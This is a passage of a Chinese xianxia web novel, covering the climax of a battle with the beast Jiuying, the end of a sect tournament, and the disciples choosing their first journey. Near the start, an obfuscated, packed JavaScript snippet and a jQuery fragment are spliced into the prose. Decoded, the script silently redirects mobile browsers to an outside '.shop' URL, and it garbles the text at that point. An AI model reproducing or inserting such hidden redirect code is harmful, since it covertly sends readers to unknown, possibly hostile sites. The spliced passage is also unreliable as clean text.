说罢,沈复宁自己也跳了起来,二人同时挥剑向下。 姜柳依踏水突进,枪尖直刺九婴眼目,尤璟沉身突进,大刀劈斩,专攻凶兽挥扫而来的蛇尾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845622|211731||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 一旁的花雾姒端坐不退,玉指翻飞拨动琴弦,将飞溅而来的冰屑,火弹尽数击飞。 楚予一边寻找漏洞,一边写符,贴符,与姬齐结布下的法阵彼此呼应。 九婴九头各有灵智,沈复宁和俞时逢斩下两头无济于事,不过片刻,又变得完好无损。 冰火在空中纵横交织碰撞,玄鳞坚硬无比,长□□上去只留下浅浅白点,大刀劈斩亦难以深透。 它忽然调转身形,数道火流绕开他们,偷袭阵眼薄弱处。 姬齐结立刻掐诀,阵纹骤然亮起加固线,楚予手中符纸四散,正面撞散袭来的火舌。 剩下的四人再次陷入了与九婴的颤抖当中。 不知过了多久,周围碎石成堆,寒潭浊浪翻涌不休。 九婴轮番怒啸,冰火洪流肆无忌惮席卷四方,先前稳固的屏障早已频临破碎。 姬齐结灵力耗空,额角血痕纵横,花雾姒十指鲜血淋漓,琴弦震颤欲断,姜柳依臂骨近乎震裂,尤璟胸前被撩出深伤,气息紊乱。 楚予所带符箓早已耗尽,不知何时用上了血,受伤最重的当属俞时逢,浑身覆满冰霜,虎口崩血,力竭跪地,长剑几乎握持不住。 九婴九双猩红冷扫残局,它根本未用全力,仅仅几番强攻,便将他们七位逼至绝境,滔天水火再度凝聚,这一击落下,七人或许尸骨无存。 沈复宁吞咽下喉间的血,用剑撑在地上,呼出口气,禁制出了问题,关长老可能找不到这里。 她一边再度跃起与九婴对打,一边问:“姬齐结,能保证解开这周围的禁制吗?” “咳咳。”姬齐结勉强回应,“可以,但需要时间。” “好。”她看着渐渐变得虚弱的几人,咬了咬牙,“我给你争取时间。”她用尽全力抵挡下最后一击。 一旁的俞时逢陡然吐出一口长血,沈复宁咬着牙问,“姜柳依,还有多少丹药?” 姜柳依明白沈复宁的话,将他们能吃的丹药都拿了出来,一人扔了两颗,“止血,恢复体力。” 沈复宁看着倒下的几人,脑海中浮现出曾经与天道的一战,闭上了眼,却还是说:“所有人!拼死牵制九头!” 话毕,她刚收回的灵力,此刻再度濒临枯竭,眼底的沉稳只剩下破死求生的决绝。 姬齐结双手结印,不断寻找禁制漏洞;姜柳依强忍骨裂剧痛,挺枪直刺九婴左眼。 尤璟豁出肉身,大刀砍劈鳞甲,以伤换伤牵制它的动作;花雾姒拨断琴弦,爆发出最后一阵狂暴音波,震得九婴头颅微微滞涩。 楚予以血画符,不断阻止九婴再度攻击之势;俞时逢贴身与之缠斗,剑光死死钉住一侧兽首。 残存六人不顾重伤缠身,硬生生咬牙撑起,再度各司其职,以命相搏。 沈复宁浑身灵光大炽,一手画符企图为他们分走大半攻击,另一只手中的玉京剑长鸣震颤,剑意冲破极限,剑走极道,只斩腰身。 只听一声鸣响,禁制破碎,九婴被生生腰斩,鲜血喷涌如雨,洒落整片寒潭。 战局至此,彻底定格。 七人拼尽全力,全员重创,九婴身受重伤,驱赶断裂,凶威大减,却并未彻底死掉,九头仍存生机,眼底凶戾未散,只是受创过度,无力再发起猛攻。 惨烈至极的平手僵局,死死僵持在幽暗寒潭之中。 就在这时,几位长老终于踏破水雾,应声而至,望着满地狼藉,全员浴血的弟子神色剧变。 11. 第 11 章 徐崇岳看着倒下的九婴,正要开口询问是否加固封印。 他刚发出一个音,九张斩魄符就从关缈的手中飞出,不偏不倚的贴在九婴的九颗头颅上。 还没等在场的人看清,九婴便已魂飞魄散。 “你……”徐崇岳指着关缈,语气恶劣。 “关长老,是否有点太过武断。”刚给受伤的七人检查了身体的李焕梁质问关缈。 “确实,好歹也是上古神兽。” “是凶兽。”砍辟门的尤长老纠正。 关缈没理会他们的争吵,脸色阴沉地看着楚予和沈复宁。 沈复宁避开她的眼神,问道:“大比结束了吗?” “结束了。”场外观众大声吼叫。 “怎么可能不结束!” “就凭他们七人合作斩杀九婴那一幕,大比最后的结果就定了,好吗?” “就是,有谁敢不服。” 姬齐结解开禁制的时间卡的真是准,正好将最后腰斩的一幕,通过观视镜传了出去。 “快看,他们出来了!” 观众齐齐望向广场中央,大比最后一轮的人全部跟着他们回来了。 五位长老相互看了一眼,不知在低下达成了怎样的共识。 关缈笑着往前走了两步,抬手示意在场的观众保持安静。 过了会儿,开口:“相信在场的观众通过这三轮的比拼,对于此次大比的前几名已经有了答案。” “太初宗的沈复宁第一名众望所归啊。”不止场下谁大喊了一声。 关缈嘴角上扬了些,却还是让他们保持安静,“不过这次我们不评名次。” “啊,为什么?”不理解的声音传来。 “既然最后都是组成一个小队,目的是学习不同门派的优良作风,促进门派间的交流,名次便没有多重要。”李焕梁走出来。 关缈看了眼李焕梁,本想顺着她的话调侃两句,但晃见了一旁已经被汗水浸湿额头的七人,皱了眉头,心想,“李焕梁的医术什么时候这么差了。” 她看了眼李焕梁,什么都没说,立马推到了最后一个环节。 “此次参加仙门大比的共七千人,按照惯例,表现最好的七人组成一队。” 她看着台下重新燃起兴趣的人,没卖任何关子,直截了当开口:“这七位就是大战九婴的七人。” 沈复宁早已听不清关缈在说什么,视线模糊,眼神四处乱晃,希望能找到什么转移自己对身体疼痛的注意。 不曾想,却看见俞时逢突然眼睛一闭,就要往前倒,她立马伸手,将他往后拉了一把。 刚好暴露在关缈几人给他们让开的空间,她咬牙看向其他人,虽然没有像俞时逢这么夸张,但跟奄奄一息也差不了多少了。 若不是刚刚长老们在下面简易的给他们渡了口气,现在恐怕都没有力气站在这里。 沈复宁强撑着笑意,一边往前走,一边朝他们几人扔了几张符。 她朝众人抬起那张比墙还白的脸,突然感受到后背抵上一个额头,放弃了那番客套之言,开口就是赶人,“输赢皆为修炼,仙门大比就此结束。” 她话音刚落,关缈立刻朝徐崇岳使眼色,这次他倒是没有掉链子,立刻便出手,将他们阵地转移。 “今晚云栖巷设宴,祝君尽兴。” 沈复宁看着最后一名观众消失,体力不支,倒了下去。 再次睁开眼,看到的是楚予着急的神色,她还未搞清楚发生了什么,楚予就冲出去。 随后,沈复宁便被三三两两进来的人硬生生给唤醒了神。 她侧过头,看着就要扑过来的姜柳依,立马坐了起来,看向他们三个。 “俞……”许是睡着的时间有些多,沈复宁觉得她的嗓子有些干,接过楚予递来的水,喝了口,才继续说:“俞时逢呢?” 几人面面相觑,最后还是楚予解释:“他伤的有些重,李长老在为他医治,尤璟和姬齐结在那边守着呢。” 沈复宁皱起了眉头,“伤的有些重?为什么?”她说着,身体已经坐在了床沿边,弯下腰开始穿鞋了。 看她这么着急,姜柳依也没隐瞒,“不知道,没找到原因。” 花雾姒将沈复宁推回了床上,“你也刚醒,先让姜柳依给你看过了再说。” 姜柳依上前一步,搭上了沈复宁的手腕,又用灵力检查了全身,确认她没事了才退后一步,从她随身带的挎包中拿出个瓶子,给了她,“身上的伤还好,昨天治疗过后已经好了大半。” 沈复宁接过瓶子,等着她的后话。 “但灵力,体力严重透支,近几天不要剧烈运动,不要打斗,不要去演武场了。” “哦。”沈复宁不甚在意的应了一声,她本来就没打算去。 楚予看着沈复宁已经站了起来,走到姜柳依身旁,与她耳语了什么。 沈复宁没听清,只是楚予看着她准备出门的架势,对她说了一句:“掌门出关了,让你醒了去灵墟岛找她。” 沈复宁的动作一僵,依然觉得不对,师父上一次出关大比已经结束半个月了,今日明显不是。 沈复宁朝楚予讨好地笑了笑,走到她身边,还没开口,楚予就将自己的胳膊从她怀中抽了出来。 沈复宁看着楚予的动作,向下撇了撇嘴,楚予将她即将说出口的话堵了回去,“掌门说了,只要你一个人去。” “行吧。”沈复宁垂下头,不死心的朝屋内剩下三人看了一眼,三人默契地避开了她的眼神。 认命推开了门,出去的时候往右边看了一眼,只一眼便让她往灵墟岛的脚停了下来,朝右边的房间走了过去。 她拍了拍尤璟的肩膀,看着冒着绿光的屋子,问她:“伤得很重吗?” 尤璟看了眼沈复宁没收回的手,说:“大概是。” “治疗多长时间了?” “大概半个时辰。” “半个时辰?”沈复宁不知在想些什么,往前走了两步。 尤璟立刻伸手将沈复宁拦住,“你要做什么?” 沈复宁无所谓开口:“进去看看啊。” “歇下心思吧。”尤璟冲一个角落抬了抬下巴。 沈复宁顺着那个方向看了过去,发现房子被姬齐结布下了阵。 她摆脱尤璟拉着她的手,朝姬齐结走过去,笑眯眯地说:“姬齐结,开个口子呗。” 姬齐结没去看她,说话含糊,“不行。” “为什么?” “不要为难他。”尤璟走了过来,“李长老说不能让人打扰,才让他在房外布阵的。” 沈复宁蹙眉,没有理她,只是往前走了两步,抬手拍了拍。 最后看了眼在维护阵法的姬齐结,从袖子中掏出一张符,贴在了上面。 阵法的屏障立刻出现了能让一个人通过的口子。 “你……”姬齐结开口,却又不知该说些什么。 沈复宁冲他眨了下眼,做了个噤声的手势,转过身的瞬间,贴上去的符纸便燃烧殆尽。 刚走到门前,门便从里面被人推开,她收回手,朝里面看了一眼。 李焕梁看着沈复宁这紧张的样子,笑了笑,“俞时逢醒了, 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沈复宁垂下眼皮,看着俞时逢紧握的被子,最后嘴角一扬,“你说我们第一个去的地方应该是哪里啊。” 她没有等俞时逢回答,自答道:“青屏山,怎么样?正好能够回去看看你师父。” 俞时逢舔了下嘴唇,眼神飘忽不敢与之对视,让自己的声音尽量听起来正常,“我都行。” “是吗?”沈复宁站了起来,看着他。 笃,笃,笃。 有人在外面敲门,沈复宁站了起来,看了眼俞时逢,没再多说什么。 嗓音上扬,“做什么?”沈复宁走到门前,将禁制解开,打开门。 “不做什么,看看俞时逢啊。”花雾姒说的理直气壮的。 姜柳依推开沈复宁就往里面走,“你们两个在里面聊什么,不能让我们知道?” “跟你有什么关系。”花雾姒瞥了眼姜柳依,毫不客气地说。 楚予看了眼下床的俞时逢,对沈复宁说:“你怎么还不去找掌门?” 沈复宁看了眼抬脚往里面走的尤璟,脸都不红地说:“还不是尤璟,她跟我说俞时逢伤的特别重。” 她看了眼不想搭理她的尤璟,瞬间有了底气,“我这不是害怕以后就见不到他了,有些难过。” 冲楚予一笑,“想来,师父肯定不会怪我的。” 楚予一脸你就编的表情看着她,突然叹了口气。 沈复宁无辜地看着她,又指着姬齐结说:“不信你问他啊。” “你,我。”姬齐结脸色涨红。 “行了,你赶紧去忙你的吧。”姜柳依看不下去了,“就知道欺负人家神算子不会说话。” 沈复宁不服,“谁欺负他了。” “好了。”楚予出声,“掌门要等急了,你快去吧。”说着,她掏出一张符,给她。 “哦。”沈复宁接过符,应了声。 走出去没两步,就将符贴在了自己身上,心中一片唏嘘,“曾经不屑于用符的自己,如今竟然离不开了。” 没等她感叹完,她就出现在了余顷霁面前。 余顷霁看见沈复宁脸上的笑都藏不住,关缈无语的看着她俩,自己也不在这碍人眼,自请离开了。 余顷霁立刻站起来,走到沈复宁身边,前后左右的打量着沈复宁,确认她没什么大事,才开口。 只是这不说话还好,一说话就让沈复宁震惊。 “灵力恢复的怎么样?” 12. 第 12 章 沈复宁讪笑,还想要隐瞒,装作自己没听懂,“什么灵力,我一直很好啊。” 余顷霁意味深长的看着她,没拆穿,拉着她往一旁坐下,看着她手上戴着的手链,眼中满是怀念。 沈复宁看着她,问:“师父为何这么早就出关了。” “明白了一些事情,便不需要再继续呆在那里面了。”她说道,“而且,闭关好无聊的。” 沈复宁点了点头,对余顷霁的话深表赞同。 “好了,别说我了。”余顷霁松开沈复宁的手,“你们打算第一站去哪里?” “没想好。”沈复宁如实说,用手撑着头,撒娇道:“不如师父给我一点建议。” 余顷霁噙笑,伸出手轻叩了沈复宁的头,力道不重,却给了她撒泼的理由。 “师父不仅不给我建议,还打我。”她揉着自己的头,伸出另一只手,语气不忿,“补偿。” 余顷霁拍开她的手,“天大的事情都敢隐瞒,现在还好意思朝我要补偿。” “隐瞒什么?”沈复宁收回手,不满的说,“倒是师父突然喊我,又什么都不说,什么都不给,上来就是质问。” “你真是掉钱眼里去了。”余顷霁缓声道,看着她那双迥然有神的眼睛,此刻眼巴巴的望着她。 叹了口气,抬手一扫,一张舆图便展现在了沈复宁的面前。 沈复宁看看舆图,又看看余顷霁,“所以师父认为我应该去哪儿?” 余顷霁笑着摇了摇头,“没有建议,只有礼物。” “哦。”沈复宁兴致不高的应了一声,抬眼看向余顷霁给她的礼物。 眼神轻扫,却忽地失神,盯着一个地方失语半晌。 余顷霁垂眸,勾唇,心中明白,她这徒弟大概已经有了目的地了。 她转身,坐了回去,支着头,静静的看着沈复宁。 沈复宁将舆图收到自己的乾坤袋中,重新走到余顷霁的身边,问她:“最后去一趟青屏山怎么样?” “青屏山啊。”余顷霁悠悠重复,开口却是另一番意义,“你大概不会愿意去那么迟的。” 沈复宁思索了片刻师父话中的意味,又说:“师父曾经说过,青屏山中有个人同太初宗关系匪浅……” 余顷霁打断了沈复宁,只是说:“以后你会知道的,但去青屏山之前,最好先回家一趟。” “嗯?”沈复宁明白了,这件事情她只会在太初宗这个她十分信任的环境告诉她。 余顷霁摸了摸她的头,站起身,“好了,我今天只是来看看你伤的重不重,既然你没什么事我就走了。“ 说着,她凑近低声对沈复宁说:“否则,你二师父又要说我不务正业了。” “好吧。”沈复宁刚说完,余顷霁一个转身,便没了影。 沈复宁盯着她离开的地方,不满的呢喃,“我来什么时候说话要靠猜了。” 她朝那边努了下嘴,又将那副舆图拿了出来。 她紧紧盯着瘴气弥漫又散开的一角,轻蹙眉头,伸出手在那个角落点了点,瘴城。 一个名不见经传的小城,曾经瘴气弥漫,故得此名,可在几百年前,城中瘴气便被净化。 可现在……瘴气好像再次重现了。 沈复宁想去看看,可她有些犹豫,究竟要不要同他们一起呢? 她眼神四处乱晃,最后停留在青屏山。 “师父说去青屏山之前最好先回太初宗一趟。”她闭上眼,叹了口气。 俞时逢在听见青屏山时的态度,他隐瞒的事情恐怕与他师父脱不了关系。 沈复宁拍了拍桌子,站了起来,“不行,在去瘴城之前,必须弄清青屏山和太初宗的关系。” 她的眼神逐渐清晰起来,她需要先回太初宗。 沈复宁长叹出声,将舆图重新收回去,往外走。 还没走两步,成群的六人就朝这边走了过来。 她踌躇不前,甚至想要往后躲,只是还没有实施,就被人看见了。 “你在躲什么?” 沈复宁干笑两声,冲楚予招了招手,顾左右而言他,“你们来做什么?” “大比结束了,我们还没有正式的同长老们见过。” “对啊,昨天你俩倒了下去,将这一环节推到了今日啊。” 沈复宁听着他们你一言我一语的,最后挠了挠头,跟在了楚予身边。 楚予看了她一眼,问她,“想好去哪里了吗?” 这个问题一出口,众人都将目光放在了沈复宁身上。 沈复宁点了点头,没多说。 “哪个地方啊?”姜柳依没忍住问了出口。 沈复宁朝前方的宫殿抬了抬下巴,“一会儿就知道了。” 花雾姒撇嘴,“这还要保密?” 姜柳依用胳膊戳了戳姬齐结,“你不是爻机山的嘛,算一算。” 姬齐结看了她一眼,眼神有些幽怨,没说话。 “行了。”尤璟看不过去了,“一会儿就知道了。” 沈复宁低下头,姜柳依真的是哪壶不开提哪壶。 整个世界谁不知道爻机山自从几百年前那一次灾难之后,算的卦很少有准的,如今还来这么一问。 也就是姬齐结脸皮薄,不好说话,要是换了旁人,必定跟她打上一场。 姜柳依也知道自己说错了话,拉着花雾姒往后面走。 花雾姒白了她一眼,随她拉了。 俞时逢环抱着胳膊,走在最后不知道在想什么,花雾姒两人突然放慢了脚步,一时不查,两方相撞。 沈复宁听到动静往后面看了一眼,恰好看到俞时逢的视线从她身上移开的瞬间,她嗤笑一声。 楚予立马拉住了她,“就要到了,不要生事。” “哦。”沈复宁匆匆往后扫了一眼,俞时逢依旧避开视线。 楚予看着沈复宁,叹了口气,轻轻拍了拍她,“不要逼迫人家。” 沈复宁看着楚予,没有说话。 楚予感受到沈复宁的眼神,拍了她一下,“看路。” 沈复宁踉跄了下,抬脚跨国门槛,抬头看到关缈注视着她的严肃眼眸。 她立刻站直身体,目视前方。 坐在上方的五位长老,静静的看着他们,看起来没有打算开口的。 花雾姒看着韶韵阁的长老,受不了了:“玉长老,喊我们过来又不说话是什么意思?” 玉长老嗔怪地看向她,却也不好拂她的面子,毕竟是千娇万宠长大的少阁主。 若是让她不高兴了,指不定回去了怎么给她找麻烦。 “如今伤已痊愈,仙门大比本意,就是让各门派弟子结伴同行,互通所长,你们心中可有规划?” 此话一出,众人商量好一样纷纷看向沈复宁。 只有沈复宁看的是楚予,两相对视,最后还是楚予认命站了出来。 “劳长老挂心,我七人一路结伴同行,余下计划我们沿途再细细商量,斟酌。” “你们心中有数便好。”徐长老立刻说,只是话锋一转,“不过按大比旧例,你们七人结伴历练三个月,这期间各派不得插手,也不得召回,你们可清楚?” 厅中七人面面相觑,没人对这条规定有任何意见。 关缈环顾一圈,“既然没有问题。”她从袖子中拿出枚令牌,走下去,将一枚令牌交给了楚予。 “好好看着你师妹,别让她给太初宗惹上血仇。” “这不合规矩吧。”李长老出声阻止。 “哪里不和。”正在给姬齐结塞东西的徐崇岳不高兴了。 “他们的历练还未开始,自然没有不合。”尤长老眼神示意尤璟将他刚刚递给她的东西藏好。 玉长老将自己的手往后藏了仓,“确实,既然还未开始,这只是给自家弟子一些叮嘱而已。” 姜柳依眼巴巴的望着李焕梁,希望她也能给自己一些东西,羡慕的瞥了眼其他人,嘴型示意,“李姑姑,我的呢?” 李焕梁说不过他们,最后将姜柳依拉到一角,不知在进行什么见不得光的交易。 沈复宁双目无神地听着关缈一遍又一遍叮嘱楚予怎样管教自己的话。 眼神四处游荡,最后定在了斜靠在柱子上的俞时逢,正神色游离地看着这片其乐融融地场面。 沈复宁看了眼关缈,不动声色地退后了两步,在身上摸索了两下,拿出一根绳子,在手指上绕了两圈,在上面打了个结,走到了俞时逢的面前。 一根绳子他的眼前乱晃,俞时逢下意识便伸手想将那根绳子拿在手中。 拽了两下没有拽动,垂眸入眼的是沈复宁笑意盈盈的双眼。 “大比获胜的礼物。”沈复宁将绳子抖了抖,俞时逢松开。 沈复宁握起他的手腕,将绳子系在他手腕,还不忘占他的便宜,“这种时刻应该要长辈给你,但你师父不在,我就勉强承担一下他的责任吧。” 说罢,踮起脚,伸出手轻轻拍了拍他的头,最后看着他的眼睛,认真的说:“俞时逢,万事平安。” 沈复宁其实想了很多祝福语,但在看向他眼睛的时候,突然觉得,没有什么比祝他平安更好的了。 俞时逢嘴唇翕动,想要说些什么,却被一阵咳嗽声给打断了。 沈复宁朝声源看过去,楚予一脸严肃的看着她,关缈更是直接上手将她拉到了身后。 关缈看了眼俞时逢的手腕,轻声开口:“你师父让我给你带句话。” 沈复宁看着关缈,心中更加确定她需要立刻回一趟太初宗。 关缈忽略沈复宁的注视,对俞时逢说:“他老人家说,三个月过后就尽快回去,山上的桃树该修剪了。” 她说这话时看似面色平平,眼底却含着一丝极淡的笑意。 俞时逢愣了一瞬,旋即点头,“弟子知道了。” 关缈看都没看沈复宁,就打掉了对方在她乾坤袋中随便乱动的手。 “疼。”沈复宁装模作样叫喊出声。 “疼。”关缈学着她的语气,伸手捏着她的脸,警告她,“在外面别给你师姐找事。” “不会的。”沈复宁答道,“我不是那样的人。” “你不是那样的人。” 关缈明显不相信她的话,从袋子里面拿出一沓符纸,放到了她手上。 “行了,别掏了,这些都给你。” 沈复宁看着那符纸,不明,“我自己就能画,不需要。” “留着吧。”关缈不客气的开口,“你只会在无计可施的时候用血画符。” “你的命还是很重要的,要好好珍惜。” 关缈说的确实不错,沈复宁对此无话可说。 “行了,我要回太初宗了。”她给楚予理了理碎发,最后叮嘱了一句,“凡事多想想自己,不用总想着顾全大局,你背后还有太初宗呢。” “听着没,还有太初宗呢。”沈复宁朝楚予挑眉,“所以放轻松。” 关缈恨铁不成钢的打了沈复宁一下,“你不惹事,你师姐轻松了。” 沈复宁立马说不出话了,关缈看她装乖,不想说话了。 “行了,你俩好好游历,记着太初宗的祖训就行。”她转身跨过了门槛,“门派中还有事需要处理,就不送你们了。” 沈复宁看着关缈风风火火回去的背影,在心中默默给自家师父点了根蜡。 能让关缈在这种时候不管不顾的回去,除了是去跟刚出关的师父比试,她找不到第二个原因了。 她回头看了看还在倾听长老叮嘱的几人,对楚予和俞时逢说:“行了,一会儿就要离开了,我先回去收拾东西。” 楚予拉着沈复宁的手将她扯了回来。 沈复宁不明白,疑惑的看着她。 “你是回房间还是打算去别的地方?。” 沈复宁干笑两声,冲楚予说:“当然是回房间啊。” “是吗?”楚予质问她,拿出一张符递给她,意思很明显,只要你贴上这个符,我就信你。 “呵呵。”她挣脱楚予的手,眼睛看着那张符,“小鱼儿,你不相信我。” 楚予没理她,举着符静静的看着她。 沈复宁看向在一旁的俞时逢。 “我们太初宗的家事,旁人最好不要插手。”楚予给了俞时逢一个冷眼。 沈复宁懊恼的接过那张符纸,她怎么忘记了,楚予对于刚认识的人其实没有什么耐心。 她朝楚予讪笑两下,认命的将符纸贴在身上,讨好地说:“现在我能走了吗?” “嗯。”楚予应了声。 楚予刚同意,沈复宁立马抬脚往外走,刚跨过门槛,转过身,就放慢了脚步。 “你想去哪儿?”俞时逢跟在她身后问。 “哪儿都不想去。”她语气沉沉,原本是有计划的。 可现在楚予将她的计划从根源上粉碎了,想都没了机会。 俞时逢看了眼她身上贴的符,问了句:“没有办法挣脱吗?” “有啊!”沈复宁的心在呐喊,“可我下不去手啊!” 楚予太狡猾了,她在楚予第一次给她用这张符的时候就有挣脱的方法。 可过去这么多年了,她也就挣脱了那么一次,可就那么一次,害楚予在床上躺了三天。 楚予在这符上加了道灵纹,只要她强行挣脱,灵纹便将符上符文逆转,灼烧画符者心脉。 她怎么敢去赌楚予加的这道灵脉的作用有多强。 楚予什么时候变得这么难说话了,明明之前对她都没有这么狠心的。 “行了。”沈复宁认命了,她眼神暗淡的看着俞时逢,“你也回房间收拾东西吧,可能一会儿就走了。” 俞时逢很少看到沈复宁这副无计可施的样子,有些稀奇,站在一旁欣赏了一会儿。 沈复宁看他这样子,白了他一眼,继续往自己的房间走。 到了房间,她坐在桌边,想不明白楚予为什么看得她这么严,之前从来没有过。 之前她若是这样看管她,她也就没有机会在仙门大比之前溜下山了。 又想到自己师父的不对劲,心中渐渐升起一个不太靠谱的猜测。 不会是师父给小鱼儿下了什么命令吧。 可不应该啊,师父对她一向是,只要不丧命,随她折腾。 她低头看着身上的符,奔溃的用手磋磨自己的脑袋,恨不能将脑袋当成符给搓掉。 很可惜,她这一招除了让她的精神面貌变得颓废之外,不会有任何附加作用。 这张符纸有没有时间限制啊,她伸出手指开始戳那张纸,还没碰到就感受到一股压力。 好的,沈复宁折服了,伸手将那张符纸抚平,不再去碰了。 认命的去看这房间有没有值得带走的东西。 虽然无法独自行动,但能在这里找到一些有用的东西也行啊。 一刻钟后,沈复宁双目无神地看着那堆自己上蹿下跳找到的破铜烂铁。 不是说云墟是整个大陆灵气最盛的地方吗,不是说云墟里面一株草都是能治百病的吗。 她看着那堆东西,终于明白了一个道理,“传闻不可信。” “阿宁,我们进来了啊。” 沈复宁眼睛一亮,楚予来了,她立马单手扶额,神色哀伤的样子看向门口,“小鱼儿,进来吧。” 13. 第 13 章 “哟,这是怎么了?”姜柳依没有丝毫生疏的坐到沈复宁的对面。 十分不客套的随便拿起桌上的一个东西,朝她挑眉,不确定地问:“这是你收拾的包袱?” 她将沈复宁刻意维持的忧郁气氛破坏了个七七八八。 沈复宁撇开头,不想理她,却与一脸嫌弃看着那堆东西的花雾姒对视了一眼。 这俩人啥时候变得这么碍眼了,沈复宁不耐烦地朝两人摆了摆手,让她们往一边儿去。 不对啊,楚予人呢?明明是她敲得门,怎么还不见了? 姜柳依看着她笑了出来,“楚予说她去拿个东西,一会儿就来。” “哦。”沈复宁扁了扁嘴,眼神不知看到了谁,陡然亮了起来。 她朝姬齐结拍了拍自己身边的位置。 姬齐结虽然不明白,却还是坐了过去。 “我记得有一种阵法是能够让人瞬间移到想去的地方,对不对?” “确实有。”姬齐结有些犹豫的回答。 沈复宁眼神一亮,迫不及待地说:“那你快点教教我。” “你要做什么?”姜柳依插话问她。 “学习一下。” “学习?”花雾姒不相信,“学这个做什么?” 沈复宁本想随便编一个答案糊弄过去,又突然想到她俩现在有什么立场管自己学什么,“我学什么跟你们有什么关系。” “有关系的。”尤璟皱着眉,眼神在几人身上打转,意思很明显了。 “……”沈复宁没再去同他们辩解,眼巴巴的盯着姬齐结,期待着他开口。 姬齐结正要接话,门帘突然被掀开,风先灌进来。 平白无故哪来的风,沈复宁皱起眉,头却没转,眼看姬齐结再次开口,又听踉跄一声。 谁这么烦,她终于抬眼望去。 俞时逢神色平淡地扶着门框,带着歉意说:“不好意思,没注意到门槛。” 屋内静了一瞬。 沈复宁瞪了他一眼,咬牙切齿道:“年纪轻轻眼神咋就出问题了呢。” 一会儿楚予来了就没机会问了,沈复宁立刻回头,有些急了,“你快点说啊。” “咳咳。” 沈复宁看向发出声音的尤璟,不是,楚予给他们下了任务吧。 她记得之前都不是这个样子的啊。 眼看着姜柳依又要开口,沈复宁抓紧继续问姬齐结,“所以是什么阵。” 姬齐结看了眼其他人,问:“你想学的是不是那种随时随地,想去哪就能去哪的阵法。” “嗯嗯。”沈复宁连连点头。 姬齐结叹了口气,眼睛下垂,不再去看沈复宁的眼神,声音也变得有些低,“你想学的这种没有。” “为什么?” “这种转移阵都是需要介质的,除非有另一个人或者你在哪个地方布下了阵,然后再在另一个地方布阵才能实现。” 他看着沈复宁瞬间暗淡下的眼神,心一横继续说:“你想去的大概是没去过的地方,实现不了。” 沈复宁彻底蔫了,趴到桌上,无力地挥着手,“行吧,行吧。”看来需要找其他方法。 “还在想身上的符?”楚予将手上的东西放到桌上,问她。 屋内的人笑出了声,姜柳依站出来说:“目的没达到。” “目的?”楚予疑惑,看了眼坐在沈复宁旁边的姬齐结明白了。 “行了。”她将沈复宁堆在桌上的那堆东西推到了一边,将刚刚放在桌上的舆图展开,“先来看我们先去哪里吧。” 沈复宁眼睛滴溜溜一转,从桌上抬起头,在她翻出来的那堆东西里面摸索着什么。 其他人一头雾水的看着她的动作。 沈复宁将自己摸到的东西往桌上一丢,挺起背脊,对她们说:“老是一个模式有什么意思,不如我们掷骰子,谁扔的谁去。” 几人无语地看着还在桌上翻滚的骰子,眼神默契的转到沈复宁的脸上。 不是,您这目的有点太明显了吧。 沈复宁被他们看的有些尴尬的摸了摸自己的鼻子,将背挺得更直了些,眼神飘忽,若无其事地开口:“你们不觉得这是个很好的主意吗?” 沈复宁说的声音越来越小,她觉得自己现在像个逗他们笑的傻子。 她上一次这么装傻还是为了逃离关缈压着她画符的魔爪,虽然结果不尽人意。 她的目的从一开始就暴露了个彻底,可仍然不死心。 万一呢? 万一他们看着她如此坚持,如此无所不用其极,心一软,就点了头。 虽然拒绝在沈复宁的意料之中,但真的听到几人异口同声的不觉得,还是让她心底一凉。 楚予拍了拍目光空洞,将自己下巴放在桌上装死的沈复宁,“别玩了。” 沈复宁抿了抿嘴,“也行,你先把我身上的符撕了。” 楚予盯着她看了两秒,终究是退了一步,灵光在她手指涌现,轻轻点了两下。 沈复宁看着她的动作高兴了,十分顺手地将那张符撕了下来。正襟危坐,看着剩下的几人,“你们还愣着干嘛?不是选地点嘛。” 变脸速度令人啧啧称奇,完全没脸看。 靠在门边看了许久戏的俞时逢,开口:“你心中已经有答案了吧。” 确实有,沈复宁已经完全放弃了抵抗,将扔在桌上的骰子捏在手中转了好久,顶着几人的目光,放在了舆图的角落。 双手一摊,靠在椅背上,翘起其中三条腿,一晃一晃的。 “瘴城?”尤璟不解。 沈复宁晃着椅子,没有解释,只是说:“我想去这里。” 瘴城是重来一次她能看到的同之前有明显不同的地方,不论这个变化对她来说是好是坏。 比起去太初宗管辖的地域遮遮掩掩去找师父,不如大大方方同他们一起去瘴城,中途找办法联系师傅。 她的眼神扫过在场的众人,唇边浮起狡黠的笑意,说不定能有意外收获。 几人看着她的的表情,不知为何竟感到一阵凉意。 姜柳依摸着胳膊上立起来的汗毛,冲她开口,“你别笑了。”笑得我害怕。 沈复宁立马收起了笑,只是眼底的兴致还没散,抬眼瞧了下姜柳依,也不再乱晃了,甚至往前俯身。 没什么语气地开口问:“你们有什么想去的地方吗?” “我跟着你。”俞时逢毫不犹豫地说。 几人你看看我,我看看你,没人说话,但好像都默认了。 静了会儿,剩下的五人点了头。 意料之外,沈复宁还以为需要与他们费一番口舌,没想到这么容易就同意了。 “那就这样决定了。”楚予将舆图拿在手中,看了眼西斜的太阳,不容反驳地说:“一刻钟后,浮云门集合,出发 。” 楚予话音刚落,几人便开始动身。 “不,不对吧。”沈复宁目瞪口呆,“这时间会不会太短了些。” 见没人理她,她立马抓住了最讲究的花雾姒的衣角,“少阁主,咱不反对一下吗?” 花雾姒冷哼一声,毫不留情地将自己的衣角从她手中夺过来,扫视她一眼,没说话。 “你要是真准备带着桌上这些东西走,没人有意见的。”楚予将她的动作看得一清二楚,拿着舆图,跟在花雾姒身后走了出去。 沈复宁看着在自己面前关上的门,生无可恋的站了起来,看了眼自己收拾出来的东西,又坐了下去。 “一刻钟?”沈复宁乐了,这时间足够她回太初宗了。 “别想了。” 沈复宁皱眉朝朝出声的人看去,一愣,“你怎么没走?” 俞时逢坐到她的对面,将那些东西打包放到了自己的乾坤袋中,两人之间没了阻挡。 “我东西都收拾好了。” 